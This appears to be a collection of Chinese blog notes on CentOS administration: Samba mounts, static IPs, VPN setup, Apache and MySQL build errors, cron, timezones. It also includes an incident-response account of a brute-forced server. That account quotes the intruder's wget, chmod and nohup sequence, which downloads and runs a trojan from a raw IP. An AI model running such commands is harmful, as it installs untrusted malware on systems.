linux挂载samba共享

需求:路由器上有Samba的共享,vm里面的centos虚拟机需要访问里面的文件
最简单方法就是smbclient访问这个文件夹,而最方便的是将这个共享文件夹挂载到目录下。

方法1:直接访问
安装samba-client
yum -y install samba-client

命令1:
smbclient -L 192.168.123.1可以列出所以共享文件夹(如果没有密码直接回车即可)

[root@localhost ~]# smbclient -L 192.168.123.1
Enter root's password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.37]

Sharename Type Comment
--------- ---- -------
AiDisk_a1 Disk SanDisk Extreme's AiDisk_a1
IPC$ IPC IPC Service (RT-AC54U)
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.37]

Server Comment
--------- -------
RT-AC54U RT-AC54U
STILL-PC

Workgroup Master
--------- -------
WORKGROUP RT-AC54U

命令2:
smbclient //192.168.123.1/AiDisk_a1可以进入smb: \> 命令行
内部操作与sftp相似,如ls、get、put等

[root@localhost mnt]# smbclient //192.168.123.1/AiDisk_a1
Enter root's password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.37]
smb: \>

方法2:挂载
命令:mount -t cifs //192.168.123.1/AiDisk_a1 ~/mnt -o username=root

[root@localhost home]# mount -t cifs //192.168.123.1/AiDisk_a1 ~/mnt -o username=root
Password for root@//192.168.123.1/AiDisk_a1:

centos7设置静态IP

情况:centos7,vm虚拟机环境,已经切换为桥接模式
运行ifconfig
可以看到网卡ens33、lo,我们要修改的是ens33。

cd /etc/sysconfig/network-scripts
vi ifcfg-ens33
修改以下值即可,其余内容可不变,当然具体值看情况:

BOOTPROTO=static
IPADDR=192.168.123.160
NETMASK=255.255.255.0
GATEWAY=192.168.123.1
DNS1=192.168.123.1
ONBOOT=yes

最后重启网络:

systemctl restart network.service

weblogic报java.lang.AssertionError: Could not obtain the localhost address

情况:
weblogic所在虚拟机是其他地方克隆过来的。
启动报错:

<Nov 5, 2014 7:39:07 PM CST> <Critical> <WebLogicServer> <BEA-000386> <Server subsystem failed. Reason: java.lang.AssertionError: Could not obtain the localhost address. The most likely cause is an error in the network configuration of this machine.
java.lang.AssertionError: Could not obtain the localhost address. The most likely cause is an error in the network configuration of this machine.
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:40)
at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:35)
at weblogic.server.channels.AddressUtils.getLocalHost(AddressUtils.java:98)
at weblogic.cluster.ClusterHelper.getMachineName(ClusterHelper.java:44)
at weblogic.cluster.ClusterService.start(ClusterService.java:95)
Truncated. see log file for complete stacktrace
java.net.UnknownHostException: dyapp1: dyapp1
at java.net.InetAddress.getLocalHost(InetAddress.java:1308)
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:38)
at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:35)
at weblogic.server.channels.AddressUtils.getLocalHost(AddressUtils.java:98)
at weblogic.cluster.ClusterHelper.getMachineName(ClusterHelper.java:44)
Truncated. see log file for complete stacktrace

检查发现/etc/hosts下的名字与主机名不一致。

解决方案:
修改hosts或者主机名

临时修改主机名(重启失效):
hostname newname
完全修改:
修改/etc/sysconfig/network中的hostname

CentOS下安装配置VPN客户端

1.安装pptp与pptp-setup
yum install pptp pptp-setup

2.创建配置
格式如下:

pptpsetup --create myvpn --server ip --username user--password pass --encrypt

具体可以man pptpsetup查看

3.连接vpn
执行pppd call myvpn
ip a |grep ppp验证,如有返回诸如:

link/ppp
inet 172.16.6.2 peer 172.16.6.1/32 scope global ppp0

则表示连接成功。

4.添加路由
执行route -n返回

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
222.46.*.*   122.225.*.*   255.255.255.255 UGH   0      0        0 eth1
172.16.6.1      0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
60.12.*.*    0.0.0.0         255.255.255.192 U     0      0        0 eth1
122.225.96.64   0.0.0.0         255.255.255.192 U     0      0        0 eth1
192.168.14.0    0.0.0.0         255.255.255.0   U     0      0        0 vmnet8
192.168.237.0   0.0.0.0         255.255.255.0   U     0      0        0 vmnet1
169.254.0.0     0.0.0.0         255.255.0.0     U     0      0        0 eth1
0.0.0.0         122.225.*.*   0.0.0.0         UG    0      0        0 eth1

注:这里用*隐藏了一些信息
可以看到ppp0接口只添加了一条172.16.6.1 0.0.0.0 255.255.255.255的路由信息,我想访问内网172.16.0.0的网段需要添加路由:执行 route add -net 172.16.0.0 netmask 255.255.0.0 dev ppp0
再次执行route -n可以看到路由已经加入:

...
172.16.0.0      0.0.0.0         255.255.0.0     U     0      0        0 ppp0
...

ping一个内网地址测试:

[root@localhost ~]# ping 172.16.4.110 -c 3
PING 172.16.4.110 (172.16.4.110) 56(84) bytes of data.
64 bytes from 172.16.4.110: icmp_seq=1 ttl=63 time=22.1 ms
64 bytes from 172.16.4.110: icmp_seq=2 ttl=63 time=26.2 ms
64 bytes from 172.16.4.110: icmp_seq=3 ttl=63 time=20.8 ms

--- 172.16.4.110 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 20.831/23.089/26.296/2.329 ms

5.关闭vpn
根据安装的ppp版本找到诸如:/usr/share/doc/ppp-2.4.4/scripts

[root@localhost /]# cp /usr/share/doc/ppp-2.4.4/scripts/pon /usr/sbin/
[root@localhost /]# cp /usr/share/doc/ppp-2.4.4/scripts/poff /usr/sbin/
[root@localhost /]# chmod +x /usr/sbin/pon
[root@localhost /]# chmod +x /usr/sbin/poff

方便的开启关闭vpn

[root@localhost /]# poff myvpn
[root@localhost /]# pon myvpn

centos下安装apache和mysql的一些问题记录

一.安装apache2

1.报错:

error: no acceptable C compiler found in $PATH

原因未安装GCC
解决:

yum install gcc

2.报错

Error: Cannot find a valid baseurl for repo: addons

原因dns未设置
解决:

vi /etc/resolv.conf

添加

nameserver 8.8.8.8

保存
继续

yum install gcc

3.安装完成无法访问

curl http://127.0.0.1

可以看到源码

可以暂时关闭

/etc/init.d/iptables stop

或者:

#/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT
#/etc/rc.d/init.d/iptables save

二.安装mysql

1.报错:

error: No curses/termcap library found

缺少ncurses安装包
解决:

yum list|grep ncurses
yum -y install ncurses-devel
yum install ncurses-devel

2.报错:

make exec: g++: not found
yum install -y gcc-c++
error: redeclaration of C++ built-in type ‘bool’

是因为gcc-c++是在configure之后安装的,此时只需重新configure后再编译make即可。
重新./configure

记一次主机被入侵–centos被入侵后的检查

前几天刚刚安装好了公司外网服务器的环境,费了好大的周折恢复了网站、博客、redmine等非常重要的应用。可是才不到4天服务器就被攻陷,机房反馈网络流量异常,本来对linux安全一无所知的我,不得不赶紧补充知识起来反击,辛辛苦苦还原回来的数据可不能这么就没了啊~~

0.马上修改密码和限制ssh登录

修改密码命令:

passwd

限制ssh IP登录:

vi /etc/hosts.allow

添加例如

sshd:192.168.10.88:allow

(其中192.168.10.88是你要允许登陆ssh的ip,或者是一个网段192.168.10.0/24)

我这里直接写入公司的固定IP

vi  /etc/hosts.deny
sshd:ALL

(表示除了上面允许的,其他的ip   都拒绝登陆ssh)

为了安全,可以修改ssh端口号,我这里没有进行修改

1.首先查看登录情况

more /var/log/secure

发现了大量的ssh失败登录!基本可以肯定遭到了暴力破解!

为了方便查看,可以把secure文件自己下载下来(位于/var/log/secure):

Mar 16 04:45:07 localhost sshd[10792]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.16.129.142 user=root
Mar 16 04:45:07 localhost sshd[10788]: Failed password for root from 116.10.191.195 port 1505 ssh2
Mar 16 04:45:09 localhost sshd[10792]: Failed password for root from 218.16.129.142 port 54341 ssh2
Mar 16 04:45:09 localhost sshd[10793]: Received disconnect from 218.16.129.142: 11: Bye Bye
Mar 16 04:45:09 localhost sshd[10788]: Failed password for root from 116.10.191.195 port 1505 ssh2
Mar 16 04:45:10 localhost sshd[10799]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.16.129.142 user=root
Mar 16 04:45:12 localhost sshd[10788]: Failed password for root from 116.10.191.195 port 1505 ssh2
Mar 16 04:45:12 localhost sshd[10799]: Failed password for root from 218.16.129.142 port 55858 ssh2
Mar 16 04:45:12 localhost sshd[10800]: Received disconnect from 218.16.129.142: 11: Bye Bye

通过搜索‘Accepted password for root from’,查到了非法登录的记录!

也可以使用who /var/log/wtmp查看登录成功的用户列表:

root     pts/1        2014-03-18 10:00 (115.54.47.96)

或者last -f /var/log/wtmp查看最后成功登陆的记录:

[root@localhost /]# last -f /var/log/wtmp
root pts/1 115.54.47.96 Tue Mar 18 10:00 - 10:01 (00:00)

都看到了陌生登录记录(上面已经隐去正常记录)

2.查看命令执行记录

接下去就要看他到底干了什么,一般情况下通过history命令可以看到用户最后执行的1000条命令,也可以去下载这个记录文件(位置在你的用户下 比如/root/.bash_history)

通过该文件看到有人执行了以下命令:

wget http://23.244.53.123/lins
chmod 0755 /root/lins
nohup /root/lins > /dev/null 2>&1 &

很显然服务器被植入了木马

3.杀死陌生进程

通过进程名查询:

[root@localhost /]# ps -ef|grep lins
root 5488 1 0 10:01 ? 00:00:00 [lins]
root 9145 7661 0 16:51 pts/1 00:00:00 grep lins
root 20273 1 1 Mar16 ? 00:49:46 [lins]

可以看到运行时间刚刚课可以登录的时间相吻合。

先全部kill掉:

[root@localhost /]# kill 5488
[root@localhost /]# kill 20273
[root@localhost /]# ps -ef|grep lins
root 9184 7661 0 16:52 pts/1 00:00:00 grep lins
[root@localhost /]#

然后删除其下载的文件lins。

4.查看网络情况

推荐使用iptraf,是一个基于端口的网络流量分析软件,具有文本屏幕界面工,比较直观。在centos下可以使用

yum install -y iptraf 

进行安装。

安装完毕运行该程序:

界面入下

iptraf0

按任意键进入

iptraf00

可以选择第一项IP traffic monitor

iptraf01

选择对应的网卡,也可以选全部

m_iptraf1

然后就是一个实时监控的界面

看到一个56923的可疑端口连接着一个陌生ip的10071端口。

[root@localhost ~]# lsof -i:56923
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
freeBSD 5943 root 3u IPv4 2946951 TCP xxx.xxx.96.112:56923->xxx.xx.15.162:10071 (ESTABLISHED)

通过 lsof -i:端口号,查询到pid为5943的进程占用这个端口。

查询进程

ps -aux:
root 5484 0.0 0.0 2696 2484 ? S Mar18 0:00 /root/freeBSD /
root 5943 2.2 0.0 433944 1036 ? Ssl Mar18 29:41 [freeBSD]

kill这两个进程。

最后查看网络、进程未发现新的异常,到此,本次入侵暂时解决。

Linux自动化定时任务cron的使用

1.关于cron:(wikipedia)

crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。该词来源于希腊语 chronos(χρόνος),原意是时间。

通常,crontab储存的指令被守护进程激活, crond常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。

2.常用参数:

crontab   -l   //查看当前用户下的cron任务

crontab -e  //编辑当前用户的定时任务 ,默认vi编辑

crontab -u  user -e  //编辑用户user的定时任务

3.时间设置

# 文件格式说明
#  ——分钟 (0 - 59)
# |  ——小时 (0 - 23)
# | |  ——日   (1 - 31)
# | | |  ——月   (1 - 12)
# | | | |  ——星期 (0 - 7)(星期日=0或7)
# | | | | |
# * * * * * 被执行的命令

注:“星期域”(第五个域),0和7都被视为星期日。

4.我的例子

[root@localhost /]# crontab -e

在vi中添加:

# backup database *weekly*
30 18 * * 5 sh /home/backup_shell/backup_db.sh
# backup web *weekly*
30 18 * * 5 sh /home/backup_shell/backup_web.sh

保存退出提示

crontab: installing new crontab

上面两条是分别在每周5的18:30执行backup_db.sh和backup_web.sh进行网站和数据库备份。

Linux修改系统时区

1.查看当前时区:

[root@localhost /]# date -R
Mon, 17 Mar 2014 00:38:30 -0400

可以看到当前是美国时区(格林尼治时间-4)。

2.设置时区:

方法1:tzselect

[root@localhost home]# tzselect
Please identify a location so that time zone rules can be set correctly.
Please select a continent or ocean.
1) Africa
2) Americas
3) Antarctica
4) Arctic Ocean
5) Asia
6) Atlantic Ocean
7) Australia
8) Europe
9) Indian Ocean
10) Pacific Ocean
11) none – I want to specify the time zone using the Posix TZ format.
#?

按照说明设置即可

方法2:timeconfig;仅限于RedHat Linux 和 CentOS

会有界面:

timeconfig

 

选择你对应的时区城市即可。

方法3:dpkg-reconfigure tzdata;适用于Debian

方法4:复制相应的时区文件,替换系统时区文件;或者创建链接文件

例如:

cp /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime

centOS安装MySQL-apache-php记录-前提

公司外网服务器硬盘突然挂了。花大价钱恢复了数据,不知道怎么的这个搭建新服务器的任务就到我这边了。

关于数据恢复:

数据恢复的厂商提供的是一个原盘镜像(500G),本来想直接打开(使用WinHex),但发现速度奇慢,4个分区,其中一个目录比较多的分区一整晚还是假死状态。

后来买了个新的移动硬盘,直接用WinHex将镜像写入新硬盘。这方法效率相当高,大约5小时完成。在虚拟机中挂载,看到四个分区完好无损。

本来想直接使用这块硬盘作为虚拟机的启动盘,但是有报错信息,猜想是分区顺序问题,由于时间比较紧,没有继续折腾。

原盘上我需要的组要是mysql的data文件、apache的www下的网站程序、apache的配置文件。逐个复制出来备用。

这篇文章就简单讲下搭建、恢复步骤。

1.用sftp将以上文件上传至服务器。

2.安装mysql,并且将复制过来的data目录复制到对应的文件夹下,注意有个idata的文件也要复制。新建之前网站在mysql 中的用户并授权。

3.安装apache(也可以用centOS自带apache)和php以及其他依赖。

4.配置好php.ini和http.conf,可以直接用原服务器上的覆盖。

启动mysql、apache就大功告成了!

(看着只有四步,其实第一次装相当的折腾,后一篇文章我会将各个错误及解决记录下来)